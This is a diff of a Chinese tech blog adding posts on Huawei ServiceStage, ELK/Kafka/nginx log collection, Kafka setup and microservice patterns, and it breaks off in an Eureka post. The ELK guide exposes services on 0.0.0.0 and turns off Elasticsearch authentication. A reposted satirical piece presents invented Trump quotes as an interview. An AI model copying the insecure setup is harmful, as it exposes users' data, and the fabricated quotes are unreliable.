+ + + +# 创建前台应用 + ++ 选择“应用管理 > 应用列表”，单击“创建应用”。 ++ 选择“Mesher”，然后单击“创建应用”。 ++ 基本信息 + + 运行环境： Docker + + 实例数量: 1 + + + + +
应用名称选择镜像环境变量TCP/UDP路由配置
weathermapwebweathermapweb + ++ HTTP_PROXY_PORT: 30101
++ SERVICE_ADDR: fusionweather + + +		否
+ ++ 应用创建成功后，在“应用列表”页单击“weathermapweb”。 进入应用详情页。 ++ 选择“访问方式”页签。 + + 单击“TCP/UDP路由配置”区域的“添加服务”。 + + “服务名称”建议填写weathermapweb。 + + “访问方式”选择“公网访问”。 + + “访问类型”选择“弹性IP”。 + + “协议”选择TCP。 + + “容器端口”填写3000。 + + “访问端口”请自行填写，但请保证该端口未被占用。 + + + +# 访问应用 + ++ 选择“应用管理 > 应用列表”。 ++ 在应用列表中找到weathermapweb应用，并单击其名称进入详细信息页面。 ++ 在详细信息页单击访问地址。 + + + + + +# 参考 + ++ [容器部署weathermap](https://support.huaweicloud.com/bestpractice-servicestage/servicestage_bestpractice_0031.html) \ No newline at end of file diff --git a/_posts/2019-07-12-446-ser-gov.md b/_posts/2019-07-12-446-ser-gov.md new file mode 100644 index 0000000..4caed34 --- /dev/null +++ b/_posts/2019-07-12-446-ser-gov.md @@ -0,0 +1,85 @@ +--- +layout: post +title: 服务治理 +pid: 446 +tags: [servicestage, k8s, 微服务] +--- + +# 进入服务治理界面 + ++ 打开ServiceStage，选择 “基础设施 > 微服务引擎（CSE）”，单击 查看控制台 ++ 选择 “服务治理”，单击 “weathermap” + +![](/uploads/2019/07/12-01.png) + +![](/uploads/2019/07/12-02.png) + +# 负载均衡 + ++ “当前城市紫外线” 是 weather#0.0.3提供的新功能 ++ 默认微服务weather#0.0.2 和 微服务weather#0.0.3 是轮询的 + + +![](/uploads/2019/07/12-03.png) + +![](/uploads/2019/07/12-04.png) + +# 降级 + ++ 下线微服务 + +![](/uploads/2019/07/12-05.png) + +![](/uploads/2019/07/12-06.png) + +# 灰度发布 + ++ 可以认为是流量控制 ++ 指定shenzhen才有紫外线功能 ++ 选择 weather#0.0.3 + +![](/uploads/2019/07/12-07.png) + ++ 单击 weather#0.0.3 + +![](/uploads/2019/07/12-08.png) + ++ 单击 “灰度发布” ++ 新建规则 + +![](/uploads/2019/07/12-09.png) + ++ 查看结果 + +![](/uploads/2019/07/12-10.png) + +![](/uploads/2019/07/12-11.png) + + +# 限流 + ++ 设定阈(yu)值 + +![](/uploads/2019/07/12-12.png) + ++ 打开云性能测试服务 + +https://console.huaweicloud.com/cpts + ++ 进行限流 + +--- + ++ 微服务治理之服务降级 + + 假如恰逢假日高峰，如双十一，势必会出现访问量骤增，现有资源不够用的情况，可使用降级机制关掉部分不重要、性能差的服务避免占用资源，以保证主体业务功能可正常使用，待高峰期过去，再重新开启。 ++ 微服务治理之灰度发布 ++ 微服务治理之负载均衡 ++ 微服务治理之限流 + + 限流就是一个服务实例限制别的服务访问自身，防止过载崩溃的一种自我保护机制。 ++ 微服务治理之熔断 + + 微服务应用中通常会存在多层服务调用，基础服务的故障（比如接口超过SLA水平的时延）可能会导致级联故障，将不可用逐渐放大到整个服务，进而拖累整个系统不可用。我们可以使用服务熔断机制，来解决这种因“服务提供者”的不可用导致“服务调用者”不可用的问题。 ++ 微服务治理之容错 + + Failover: 失败自动切换，失败时在其他服务实例上重试。通常用于无状态服务实例读操作，但重试会增加时延。 + + Failfast: 快速失败，失败时会立即返回失败结果，不重试。（缺省），通常用于非幂等性的写操作，比如新增。 + + Failback: 失败原地重试，失败时在同一服务实例上重试一次。通常用于读操作，但重试会增加时延。 + + custom: 自定义，用户可根据实际需求设置。 \ No newline at end of file diff --git a/_posts/2019-07-15-447-logback.md b/_posts/2019-07-15-447-logback.md new file mode 100644 index 0000000..6272ddc --- /dev/null +++ b/_posts/2019-07-15-447-logback.md @@ -0,0 +1,12 @@ +--- +layout: post +title: logback +pid: 447 +tags: [日志] +--- + +请参考样例[logback](https://github.com/baoguoding/logback.git) + + +# 参考 ++ [为什么阿里巴巴禁止工程师直接使用日志系统(Log4j、Logback)中的 API](https://mp.weixin.qq.com/s/vCixKVXys5nTTcQQnzrs3w) \ No newline at end of file diff --git a/_posts/2019-07-15-448-kafka-elk.md b/_posts/2019-07-15-448-kafka-elk.md new file mode 100644 index 0000000..c156381 --- /dev/null +++ b/_posts/2019-07-15-448-kafka-elk.md @@ -0,0 +1,442 @@ +--- +layout: post +title: ELK+logback+kafka+nginx 搭建分布式日志分析平台 +pid: 448 +tags: [日志] +--- + +# 概要图 + +![](/uploads/2019/07/15-01.jpeg) + +用户通过java应用程序的Slf4j写入日志，SpringBoot默认使用的是logback。我们通过实现自定义的Appender将日志写入kafka，同时logstash通过input插件操作kafka订阅其对应的主题。当有日志输出后被kafka的客户端logstash所收集，经过相关过滤操作后将日志写入Elasticsearch，此时用户可以通过kibana获取elasticsearch中的日志信息 + +1. 我们是通过logback打印日志，然后将日志通过kafka消息队列发送到Logstash,经过处理以后存储到Elasticsearch中，然后通过Kibana图形化界面进行分析和处理。 +2. 我们使用Logstash读取日志文件，经过处理以后存储到Elasticsearch中，然后通过Kibana图形化界面进行分析和处理。例如我们读取nginx的日志文件，可以统计访问用户的ip地域，请求地址等等。 + +![](/uploads/2019/07/18-19.bmp) + +# 实验环境 ++ centos 7.2 ++ elasticsearch / logstash / kibana ++ nginx ++ kafka ++ logback/springboot ++ zookeeper + +# 安装配置Java + +# 安装Elasticsearch + +```shell +adduser elsearch +su elsearch +cd ~ +wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-6.3.2.tar.gz +tar -zxvf elasticsearch-6.3.2.tar.gz +cd elasticsearch-6.3.2 +vim config/elasticsearch.yml + +#如果配置集群的话，只要name一样就可以自动集群了，不需要单独配置 +cluster.name: nelson +network.host: 0.0.0.0 #4个0表示外网可以访问 +http.port: 9200 #默认http端口 +transport.tcp.port: 9300 #默认tcp端口 + +vim config/jvm.options + +-Xms450M +-Xmx450M + +./bin/elasticsearch & + +``` + +启动过程中，如有错误，百度可以找到解决方案 + +访问 http://101.132.227.185:9200/ + +![](/uploads/2019/07/17-01.png) + + +# 安装Nginx + +```shell +yum install -y nginx +vim /etc/nginx/nginx.conf +``` + +修改nginx的日志默认输出格式 + +```shell +http { + log_format main '$remote_addr - $remote_user [$time_local] "$request" ' + '$status $body_bytes_sent "$http_referer" ' + '"$http_user_agent" "$http_x_forwarded_for"'; + + access_log /var/log/nginx/access.log main; + + sendfile on; + +``` + +改为 + +```shell +http { + log_format json '{"@timestamp":"$time_iso8601",' + '"@version":"1",' + '"client":"$remote_addr",' + '"url":"$uri",' + '"status":"$status",' + '"domian":"$host",' + '"host":"$server_addr",' + '"size":"$body_bytes_sent",' + '"responsetime":"$request_time",' + '"referer":"$http_referer",' + '"ua":"$http_user_agent"' + '}'; + + access_log /var/log/nginx/access.log json; + + sendfile on; + +``` + +启动nginx服务 + +```shell +service nginx start +``` + +访问 http://101.132.227.185:80/ + +![](/uploads/2019/07/17-02.png) + +# 安装Logstash + +``` +cd /usr/local/ +wget https://artifacts.elastic.co/downloads/logstash/logstash-6.3.2.tar.gz +tar -zxvf logstash-6.3.2.tar.gz + +vim config/logstash.yml + +http.host: "0.0.0.0" # 确保外网也可以访问 +http.port: 9600 + +vim config/jvm.options + +-Xms400M +-Xmx400M +``` + +配置输入输出 + +在config目录下新建文件nginx.conf +1. input表示输入源，他这里有好多插件，支持很多数据源包括文件，http等，我们这里首先收集nginx的日志。file表示读取文件；codec表示读取的文件格式，因为我们前边配置了nginx的日志格式为json，所以这里是json；start_position表示从那一行读取，他会记录上一次读取到那个位置，所以就不用担心遗漏日志了。type相当于一个tag一样，可能这里有很多输入源，后面会根据这个type进行过滤。 +2. filter表示处理输入数据，因为我们前边配置了nginx的日志里边记录了用户的ip，所以我们使用geoip组件，可以根据ip匹配位置信息，下面表示你将使用那些fields字段；source表示输入json的那个属性。 +3. output表示输出到哪里，可以文件、redis等，这里我们保存到es里。利用elasticsearch插件，然后配置一下es的地址，索引我们是通过日期自动生成，表示每天创建一个索引 + +```shell +input { + file { + path => ["/var/log/nginx/access.log"] + type => "nginx" + codec => "json" + start_position => "beginning" + } +} + +filter { + geoip { + fields => ["city_name", "country_name", "latitude", "longitude", "region_name","region_code"] + source => "client" + } +} + +output { + if [type] == "nginx" { + elasticsearch { + hosts => ["localhost:9200"] + index => "nelson-nginx-%{+YYYY.MM.dd}" + } + stdout {} + } +} +``` + +启动 + +```shell +./bin/logstash -f ./config/nginx.conf +``` + +![](/uploads/2019/07/18-01.png) + + + + +# 安装Kibana + +```shell +cd /usr/local/ +wget https://artifacts.elastic.co/downloads/kibana/kibana-6.3.2-linux-x86_64.tar.gz +tar -zxvf kibana-6.3.2-linux-x86_64.tar.gz +``` + +修改配置 + +```shell + +server.host: 0.0.0.0 + +elasticsearch.url: "http://localhost:9200" +//我的配置 +//elasticsearch.url: "http://101.132.227.185:9200" +``` + +启动 + +```shell +./bin/kibana & +``` + +访问 + +```shell +http://101.132.227.185:5601 +``` + ++ Index Patterns + +![](/uploads/2019/07/18-02.png) + +![](/uploads/2019/07/18-03.png) + +![](/uploads/2019/07/18-04.png) + +![](/uploads/2019/07/18-05.png) + +![](/uploads/2019/07/18-06.png) + ++ Discover + +![](/uploads/2019/07/18-07.png) + +![](/uploads/2019/07/18-08.png) + ++ Dev Tools + +![](/uploads/2019/07/18-09.png) + ++ Visualize + +![](/uploads/2019/07/18-10.png) + +![](/uploads/2019/07/18-11.png) + +![](/uploads/2019/07/18-12.png) + +![](/uploads/2019/07/18-13.png) + +![](/uploads/2019/07/18-14.png) + +![](/uploads/2019/07/18-15.png) + +# 安装Zookeeper + +```shell +wget http://mirrors.hust.edu.cn/apache/zookeeper/zookeeper-3.4.12/zookeeper-3.4.12.tar.gz +tar -zxvf zookeeper-3.4.12.tar.gz +#复制配置 +cp zoo_sample.cfg zoo.cfg +修改配置 +vi zoo.cfg +dataDir=/root/zk/data #改为你zk目录/data +``` + ++ 启动 + +```shell +./bin/zkServer.sh start +``` + + +# 安装Kafka + +```shell +wget https://archive.apache.org/dist/kafka/2.0.0/kafka_2.12-2.0.0.tgz +tar -zxvf kafka_2.12-2.0.0.tgz +cd kafka_2.12-2.0.0 +vim config/server.properties + +listeners = PLAINTEXT://172.19.95.188:9092 #阿里云内网地址 +advertised.listeners=PLAINTEXT://101.132.227.185:9092 #阿里云外网地址 +``` + +启动 + +```shell +bin/kafka-server-start.sh config/server.properties +``` + +```shell +# 创建一个 名称为applog 的topic +bin/kafka-topics.sh --create --zookeeper localhost:2181 --replication-factor 1 --partitions 1 --topic applog + +# 查看所有topic +bin/kafka-topics.sh --list --zookeeper localhost:2181 + +# 消息的生产者，启动以后，在控制台输入信息，然后回车发送 +# 指定了地址之后，localhost可能不适用 +bin/kafka-console-producer.sh --broker-list localhost:9092 --topic applog +bin/kafka-console-producer.sh --broker-list 172.19.95.188:9092 --topic applog +bin/kafka-console-producer.sh --broker-list 101.132.227.185:9092 --topic applog + +# 消息的消费者，如果生产者那里给applog这个top输入信息发送，消费者这边就会在收到，然后在控制台打印出来。 +# 指定了地址之后，localhost可能不适用 +bin/kafka-console-consumer.sh --bootstrap-server localhost:9092 --topic applog --from-beginning +bin/kafka-console-consumer.sh --bootstrap-server 172.19.95.188:9092 --topic applog --from-beginning +bin/kafka-console-consumer.sh --bootstrap-server 101.132.227.185:9092 --topic applog --from-beginning +``` + +# 程序中使用logback + + +修改logbstash的config目录吓得nginx.conf + +```shell +input { + #nginx日志的输入 + file { + path => "/opt/access.log" + type => "nginx" + codec => "json" + start_position => "beginning" + } + #kafka日志输入 + kafka { + topics => "applog" + type => "kafka" + bootstrap_servers => "101.132.227.185:9092" + codec => "json" + } +} + +filter { + if [type] == "nginx" { + geoip { + fields => ["city_name", "country_name", "latitude", "longitude", "region_name","region_code"] + source => "client" + } + } +} + +output { + #都输出到es中，但是索引不一样 + if [type] == "nginx" { + elasticsearch { + hosts => ["127.0.0.1:9200"] + index => "nelson-nginx-%{+YYYY.MM.dd}" + } + stdout {} + } + if [type] == "kafka" { + elasticsearch { + hosts => ["127.0.0.1:9200"] + index => "nelson-applogs-%{+YYYY.MM.dd}" + } + stdout {} + } +} +``` + ++ 重新启动logstash + +![](/uploads/2019/07/18-16.png) + +![](/uploads/2019/07/18-17.png) + + +# 阿里云网络端口配置 + +![](/uploads/2019/07/18-18.png) + +本篇文章就结束了，elk+nginx 和 elk+logback+kafka都已经实现了 + +--- + + +—————— +报错如下： +ERROR: [2] bootstrap checks failed +[1]: max file descriptors [65535] for elasticsearch process is too low, increase to at least [65536] +[2]: max virtual memory areas vm.max_map_count [65530] is too low, increase to at least [262144] +————— +解决办法： +sudo vi /etc/sysctl.conf + +添加下面配置： + +```shell +vm.max_map_count=655360 【修该项即可】 +``` + +并执行命令： + +sysctl -p + +然后，重新启动elasticsearch，即可启动成功。 + +sudo vi /etc/security/limits.conf + +添加如下内容: + +```shell +* soft nofile 65536 #【修改该项即可】 +* hard nofile 131072 +* soft nproc 2048 +* hard nproc 4096 +``` + +需要系统重启。 +——————- +elasticSearch启用匿名登录。直接在config/elasticsearch.conf添加该行即可。 +xpack.security.enabled: false ####开启用户认证 +——————– +elasticSearch数据持久化，默认情况不启用数据保存，故数据一般会几分钟就消失，按以下步骤保存索引数据。 + +```shell +#不同的集群名字不能相同。 +cluster.name: es_vm_test +node.name: vmmaster、 +#数据索引保存 +path.data: /home/abc/elk-5.5.1/elkdata/data +path.logs: /home/abc/elk-5.5.1/elkdata/log +#关闭登录验证 +xpack.security.enabled: false +``` + +# 参考 ++ [ELK+logback+kafka+nginx 搭建分布式日志分析平台](https://yq.aliyun.com/articles/635811?spm=a2c4e.11153940.0.0.5640518ditaeCT) ++ [搭建elasticsearch中遇到的一些问题记录](http://www.kxtry.com/archives/1635) ++ [ELK解析nginx日志](http://kuring.me/post/elk_nginx/) ++ [Logstash 收集 Nginx 访问日志](https://jaminzhang.github.io/elk/Logstash-collect-Nginx-access-logs/) ++ [ELK中的logstash启动后无输出](https://blog.csdn.net/lvyuan1234/article/details/78020732) ++ [logstash-best-practice-cn](https://doc.yonyoucloud.com/doc/logstash-best-practice-cn/output/stdout.html) ++ [Logstash读取不到文件！填坑](https://blog.csdn.net/u013600907/article/details/82773044) + + +# 参考2 ++ [SpringBoot+kafka+ELK分布式日志收集](https://yq.aliyun.com/articles/645316) ++ [SpringBoot开发案例构建分布式日志处理系统](https://juejin.im/post/5afed712f265da0b70262864) ++ [Kafka 和 DistributedLog 技术对比](https://www.infoq.cn/article/technology-comparison-of-kafka-and-distributedlog) ++ [Spring Boot集成Kafka](https://blog.csdn.net/guijiaoba/article/details/78637375) ++ [Spring Boot使用Logback通过Kafka实现日志收集](http://blog.microservice4.net/2018/08/23/springboot-logback-kafka/) ++ [Logback Kafka Appender Example](https://examples.javacodegeeks.com/enterprise-java/logback/logback-kafka-appender-example/) ++ [Kafka在SpringBoot 2.0中的整合](https://www.us-forever.com/2018/04/23/Kafka%E5%9C%A8SpringBoot-2-0%E4%B8%AD%E7%9A%84%E6%95%B4%E5%90%88/) ++ [Spring for Apache Kafka](https://docs.spring.io/spring-kafka/docs/2.1.5.RELEASE/reference/html/) + +# 实战配置如下 ++ [dlog](https://github.com/baoguoding/dlog) \ No newline at end of file diff --git a/_posts/2019-07-16-449-kafka.md b/_posts/2019-07-16-449-kafka.md new file mode 100644 index 0000000..02fc798 --- /dev/null +++ b/_posts/2019-07-16-449-kafka.md @@ -0,0 +1,54 @@ +--- +layout: post +title: kafka实战 +pid: 449 +tags: [日志] +--- + +# Kafka安装与使用 + +Kafka 使用Zookeeper 来保存相关配置信息，Kafka及Zookeeper 依赖Java 运行环境。 + ++ 下载[Kafka](http://kafka.apache.org/downloads.html) ++ 单机单broker配置 + +```shell +wget http://mirrors.tuna.tsinghua.edu.cn/apache/kafka/2.3.0/kafka_2.12-2.3.0.tgz +tar zxvf kafka_2.12-2.3.0.tgz +cd kafka +# start zookeeper +bin/zookeeper-server-start.sh -daemon config/zookeeper.properties +# start kafka +bin/kafka-server-start.sh config/server.properties & +# create topic +bin/kafka-topics.sh --create --zookeeper localhost:2181 --replication-factor 1 --partitions 1 --topic test +bin/kafka-topics.sh --list --zookeeper localhost:2181 +# producer 和 consumer 可以同时开启，这样一个窗口输入，另一个窗口输出 +# producer +bin/kafka-console-producer.sh --broker-list localhost:9092 --topic test +> Hello world! +> Hello Kafka! +# consumer +bin/kafka-console-consumer.sh --bootstrap-server localhost:9092 --topic test --from-beginning +``` + ++ 单机多broker配置 + +```shell +cp config/server.properties config/server-1.properties +config/server-1.properties: + broker.id=1 + port=9093 + log.dir=/tmp/kafka-logs-1 +bin/kafka-server-start.sh config/server-1.properties & +``` ++ 多机多broker配置 + +后期再考虑 + +# 参考 ++ [在CentOS 7上安装Kafka](https://www.mtyun.com/library/how-to-install-kafka-on-centos7) ++ [kafka 集群部署 多机多broker模式](https://www.cnblogs.com/jicki/p/5548526.html) ++ [Kafka Documentation](http://kafka.apache.org/documentation.html) ++ [Kafka 设计与原理详解](https://blog.csdn.net/suifeng3051/article/details/48053965) ++ [Kafka详解二、如何配置Kafka集群](https://blog.csdn.net/suifeng3051/article/details/38321043) \ No newline at end of file diff --git a/_posts/2019-07-17-450-trump.md b/_posts/2019-07-17-450-trump.md new file mode 100644 index 0000000..dfe69b9 --- /dev/null +++ b/_posts/2019-07-17-450-trump.md @@ -0,0 +1,166 @@ +--- +layout: post +title: 特朗普：我有话对世界说 （转发） +pid: 450 +tags: [特朗普] +--- + +美国第45届总统特朗普自2017年1月20日上任以来，公开场合不断发表对世界的看法，日前，特朗普接受犀利声独家采访，再一次阐述自己的世界观点。 + +特朗普：我有话对世界说 + +记者：总统阁下，全球人都说，是你挑起贸易战，你对此有何评价？ + +特朗普：胡说！贸易战一直在，怎能说是我挑起？ + +记者：你的意思是贸易战和你没关系？ + +特朗普：和我有没关系关你屁事？ + +记者：请正面回答问题。 + +特朗普：我已经回答了。 + +记者：有人说，你一直打着“美国优先”旗号，从未将其他国家的利益、世界人民的共同福祉放在心上，你对此有何评论。 + +特朗普：做生意，你会考虑别人家利益吗？ + +记者：你的意思是…… + +特朗普：赔本的买卖你会做吗？对别人有利的买卖你会做吗？ + +记者：你的意思是做生意只能你赢？ + +特朗普：鬼才相信双赢。 + +记者：所以，你打着美国优先的旗号…… + +特朗普：不是打着美国优先旗号，就是美国优先！ + +记者：有人说你是个不守信用的总统，你对此有何评价？ + +特朗普：守信用？凭什么守信用？对谁守信用？守什么信用？ + +记者：有人说，就任总统前，你没有担任过公职，当总统后，你更像一个商人，而不是总统。 + +特朗普：我不是总统，谁是总统？ + +记者：全球都说，你随意退群…… + +特朗普：你会进一个对你没利的组织吗？ + +记者：可是那些组织是美国参与并同意签约的？ + +特朗普：协约不是人定吗？可以YES，也可以NO。对美国有利的，YES！对美国没利的，NO！ + +记者：请问总统，对中国实行贸易战，你出发点在哪里？ + +特朗普：在三八线上，看他们还有没有当年的精神。 + +记者：如果他们有，美国是进是退？ + +特朗普：你这个假设不成立。 + +记者：如果成立呢？ + +特朗普：小子，你见过砍价吗？ + +记者：你的意思是？…… + +特朗普：我已经回答了。 + +记者：你曾表态说，不会与伊朗开战？ + +特朗普：谁知道呢？看行情吧。 + +记者：你的意思是随时开打？ + +特朗普：刀拿出来，就一定要杀人吗？ + +记者：你的意思是吓唬一下他们？ + +特朗普：刀拿出来不杀人，还有意义吗？ + +记者：有人评价你执政以来，不顾忌别国感受，不顾忌别人死活…… + +特朗普：顾忌别人死活是上帝的事。 + +记者：有人说，你的价值观得罪了许多盟友？ + +特朗普：美国有盟友吗？不过是生意上的伙伴。 + +记者：你是说，美国一直是在同盟友做交易。 + +特朗普：做生意，我赢了，我高兴，他输了，他生气，就这么回事。 + +记者：你的意思是你从没欣赏过别人？ + +特朗普：我没有心理障碍。 + +记者：有消息说，美国霸道且不地道，谈判桌上说好的事，转身就不认账了。 + +特朗普：谈判桌上是一回事，谈判桌下是另一回事。谁知道下一秒会发生什么呢。 + +记者：会发生什么？ + +特朗普：看我推特啊。 + +记者：有一种声音说，美国一直存有冷战思维，总是找借口欺小压弱。 + +特朗普：美国有这个资本。 + +记者：世界是个共同体，应该和谐共处…… + +特朗普：和谐共处是弱者思维，你见过强者这么说吗？同等才有对话，同等才有和谐。 + +记者：你的意思是美国还是老大？ + +特朗普：一直在江湖，从未离开过。 + +记者：有人说，贸易战对谁都不好，对话才是世界希望。 + +特朗普：谁说贸易战对谁都不好？大哥拿出刀来，你没见过结果吗？ + +记者：总统先生，有人说，贸易战没有赢家。 + +特朗普：小子，你会玩游戏吗？ + +记者：…… + +特朗普：结果重要，还是过程重要？ + +记者：有人说，美国的话不可信，当面一套，背后一套。 + +特朗普：别国不是吗？ + +记者：我说的是守信用。 + +特朗普：守信用？守信用还要规则干嘛？ + +记者：关于规则，有人说，对美国有利的才执行，没利的就抛弃。 + +特朗普：你不是这样想的吗？很多人这样想，有实力的人才这样做。 + +记者：下一步，美国有何打算？ + +特朗普：听话的收拾，不听话的也收拾。 + +记者：对美国有什么好处？ + +特朗普：大哥还是大哥，小弟就不一定是小弟了…… + +记者：最后一个问题，你是商人，还是总统？ + +特朗普：我是最成功的商人，也是最伟大的总统。 + +记者：…… + +补记：专访还没结束，有人敲门进来，打断了采访。来人伏在特朗普耳边低语：中国开始反制了……特朗普眉头瞬间皱了起来，起身急走。 + +记者喊道“小编将刊发此文”。特朗普头也不回地说“让办公室主任审一下，还有保密委员会也看看，不利美国的言辞全删掉”。小编等了半天，也没等到白宫送还稿件，小编决定不等了。不知道特朗普总统看到报道后有何感想，会不会不承认接受过采访，会不会破口大骂：捏造的，假新闻！ + +对于一个半天能发几十条特推的总统来说，下一秒，什么情况都能发生。 + +# 参考 + ++ [特朗普：我有话对世界说 （转发）](https://zhuanlan.zhihu.com/p/69906981) \ No newline at end of file diff --git a/_posts/2019-07-19-451-micro-service.md b/_posts/2019-07-19-451-micro-service.md new file mode 100644 index 0000000..0b50bda --- /dev/null +++ b/_posts/2019-07-19-451-micro-service.md @@ -0,0 +1,42 @@ +--- +layout: post +title: 微服务：微服务介绍 +pid: 451 +tags: [微服务] +--- + +# 微服务的范围 + ++ 自组织团队 + + 康威定律 - 产品或系统的设计（架构）受到其生产组织自身沟通结构的制约 + + You build it, you Run it. 小团队，完成服务的分析、开发、测试、部署和运维 + + 不断识别交付中的瓶颈，采用精益的方式快速验证和优化，小步快跑 ++ 技术实战 + + 通过高度成熟的自动化体系建立可靠且可重复的交付过程 + + 良好的持续集成、代码review、团队内技术分享等实践 + + 在满足验收标准的条件下，鼓励拥抱新技术解决业务问题，试点性验证并推广 ++ 流程与工具 + + 积极引入外部工具，同时不断优化内部工具 + + 保障持续集成、持续部署流水线的稳定且高效 + + 加强基础设施的构建与管理，加快监控、告警、日志聚合等反馈效率 + +微服务、Serverless的出现，都是以不断提高交付效率、缩短交付周期为核心，基于云原生方式，对架构优化的结果 + +# 微服务带来的优点 + ++ 服务模块的边界更清晰：微服务强调模块化结构（REST接口调用），这对大型团队非常重要 ++ 支持独立部署：简单服务更易部署，由于服务是自治的，出现问题之后不会引起系统奔溃 ++ 允许技术多样性：有了微服务，你可以混合使用多种编程语言、开发框架和数据存储技术 + +# 微服务带来的挑战 + ++ 分布式编程难度大、有风险：分布式系统编程难度更大，远程调用更慢且总存在失败风险 ++ 需处理分布式系统一致性：对于分布式系统来说，保持一致性非常困难，意味着大家都要处理最终一致性 ++ 增加运维复杂性：需要一个成熟的运维团队 + + +# 参考 + ++ Martin Fowler [Microservices](https://martinfowler.com/articles/microservices.html) ++ [微服务译文](https://www.cnblogs.com/liuning8023/p/4493156.html) ++ [微服务架构解析](https://www.infoq.cn/article/2013/12/micro-service-architecture/) \ No newline at end of file diff --git a/_posts/2019-08-01-452-microservice-practice.md b/_posts/2019-08-01-452-microservice-practice.md new file mode 100644 index 0000000..d4927e2 --- /dev/null +++ b/_posts/2019-08-01-452-microservice-practice.md @@ -0,0 +1,47 @@ +--- +layout: post +title: 微服务：微服务实践 +pid: 452 +tags: [微服务] +--- + + ++ 第01章 微服务架构知识 + + 微服务架构的兴起 + + 微服务解决方案 + + 企业转型微服务详解 ++ 第02章 路由网关 + + Zuul + + Nginx ++ 第03章 服务中心 + + Zookeeper + + Eureka + + ServiceCenter ++ 第04章 服务生产与消费 + + 服务生产与消费 ++ 第05章 Springboot + + DevCloud&DevOps ++ 第06章 数据库 + + MySQL + + MongoDB + + 华为云RDS ++ 第07章 缓存服务 + + Redis + + MemCache + + 华为云DDM ++ 第08章 消息系统 + + RabbitMQ + + ActiveMQ + + Kafka + + 华为云DMS ++ 第09章 测试运维 + + 华为云CPTS + + 华为云APM + + 华为云AOM ++ 第10章 结业实践 + + 第一阶段结业实践 + + 第二阶段结业实践 + + +# 参考 ++ [微服务上云实践](https://education.huaweicloud.com:8443/courses/course-v1:HuaweiX+CBUCNXV007+Self-paced/courseware/646ad37c206647fa8c27e2408461ab84/df0c74c92b264e9b945e35c905848790/) \ No newline at end of file diff --git a/_posts/2019-08-05-453-wfw01.md b/_posts/2019-08-05-453-wfw01.md new file mode 100644 index 0000000..855dcc7 --- /dev/null +++ b/_posts/2019-08-05-453-wfw01.md @@ -0,0 +1,31 @@ +--- +layout: post +title: 微服务：应用架构演进史 +pid: 453 +tags: [微服务] +--- + +![](/uploads/2019/08/05-01.png) + +**单一应用架构：** ++ 当网站流量很小时，只需一个应用，将所有功能都部署在一起，以减少部署节点和成本。 ++ 此时，用于简化增删改查工作量的 数据访问框架(ORM) 是关键。 + +**垂直应用架构：** ++ 当访问量逐渐增大，单一应用增加机器带来的加速度越来越小，将应用拆成互不相干的几个应用，以提升效率。 ++ 此时，用于加速前端页面开发的 Web框架(MVC) 是关键。 + +**分布式服务架构：** ++ 当垂直应用越来越多，应用之间交互不可避免，将核心业务抽取出来，作为独立的服务，逐渐形成稳定的服务中心，使前端应用能更快速的响应多变的市场需求。 ++ 此时，用于提高业务复用及整合的 分布式服务框架(RPC) 是关键。 + +**流动计算架构：** ++ 当服务越来越多，容量的评估，小服务资源的浪费等问题逐渐显现，此时需增加一个调度中心基于访问压力实时管理集群容量，提高集群利用率。 ++ 此时，用于提高机器利用率的 资源调度和治理中心(SOA) 是关键。 + +**微服务架构：** ++ 随着敏捷开发、持续交付、DevOps理论的发展和实践，以及基于Docker等轻量级容器(LXC)部署应用和服务的成熟，微服务架构开始流行，逐渐成为应用架构的未来演进方向。 ++ 通过服务的原子化拆分，以及微服务的独立打包、部署和升级，小团队敏捷缴费，应用的交付周期将缩短，运维成本也将大幅下降。 + +# 参考 ++ [微服务理论之一：应用架构演进史](https://www.cnblogs.com/duanxz/p/3514781.html) \ No newline at end of file diff --git a/_posts/2019-08-05-454-wfw02.md b/_posts/2019-08-05-454-wfw02.md new file mode 100644 index 0000000..1bd6f25 --- /dev/null +++ b/_posts/2019-08-05-454-wfw02.md @@ -0,0 +1,50 @@ +--- +layout: post +title: 微服务：微服务架构的六种模式 +pid: 454 +tags: [微服务] +--- + +1. 微服务架构模式方案 + +用Scale Cube方法设计应用架构，将应用服务按功能拆分成一组相互协作的服务。每个服务负责一组特定、相关的功能。每个服务可以有自己独立的数据库，从而保证与其他服务解耦。 + +1.1 聚合器微服务设计模式 + +![](/uploads/2019/08/06-01.png) + +聚合器调用多个服务实现应用程序所需的功能。它可以是一个简单的Web页面，将检索到的数据进行处理展示。它也可以是一个更高层次的组合微服务，对检索到的数据增加业务逻辑后进一步发布成一个新的微服务，这符合DRY原则。另外，每个服务都有自己的缓存和数据库。如果聚合器是一个组合服务，那么它也有自己的缓存和数据库。聚合器可以沿X轴和Z轴独立扩展。 + +1.2 代理微服务设计模式 + +![](/uploads/2019/08/06-02.png) + +这是聚合器模式的一个变种，在这种情况下，客户端并不聚合数据，但会根据业务需求的差别调用不同的微服务。代理可以仅仅委派请求，也可以进行数据转换工作。 + +1.3 链式微服务设计模式 + +![](/uploads/2019/08/06-03.png) + +这种模式在接收到请求后会产生一个经过合并的响应，在这种情况下，服务A接收到请求后会与服务B进行通信，类似地，服务B会同服务C进行通信。所有服务都使用同步消息传递。在整个链式调用完成之前，客户端会一直阻塞。因此，服务调用链不宜过长，以免客户端长时间等待。 + +1.4 分支微服务设计模式 + +![](/uploads/2019/08/06-04.png) + +这种模式是聚合器模式的扩展，允许同时调用两个微服务链 + +1.5 数据共享微服务设计模式 + +![](/uploads/2019/08/06-05.png) + +自治是微服务的设计原则之一，就是说微服务是全栈式服务。但在重构现有的“单体应用（monolithic application）”时，SQL数据库反规范化可能会导致数据重复和不一致。因此，在单体应用到微服务架构的过渡阶段，可以使用这种设计模式 + +1.6 异步消息传递微服务设计模式 + +![](/uploads/2019/08/06-06.png) + +虽然REST设计模式非常流行，但它是同步的，会造成阻塞。因此部分基于微服务的架构可能会选择使用消息队列代替REST请求/响应 + +# 参考 + ++ [微服务架构的六种模式](https://www.cnblogs.com/duanxz/p/3514895.html) \ No newline at end of file diff --git a/_posts/2019-08-13-455-eureka.md b/_posts/2019-08-13-455-eureka.md new file mode 100644 index 0000000..e59aaba --- /dev/null +++ b/_posts/2019-08-13-455-eureka.md @@ -0,0 +1,90 @@ +--- +layout: post +title: 微服务：Eureka和Discovery Client +pid: 455 +tags: [微服务] +--- + ++ [创建Eureka Server项目](https://start.spring.io/) ++ 在创建项目时，请将Eureka组件选好 ++ [项目地址](https://github.com/baoguoding/springcloud) ++ 添加注解 EnableEurekaServer + +```shell +@EnableEurekaServer +@SpringBootApplication +public class EurekaApplication { + + public static void main(String[] args) { + 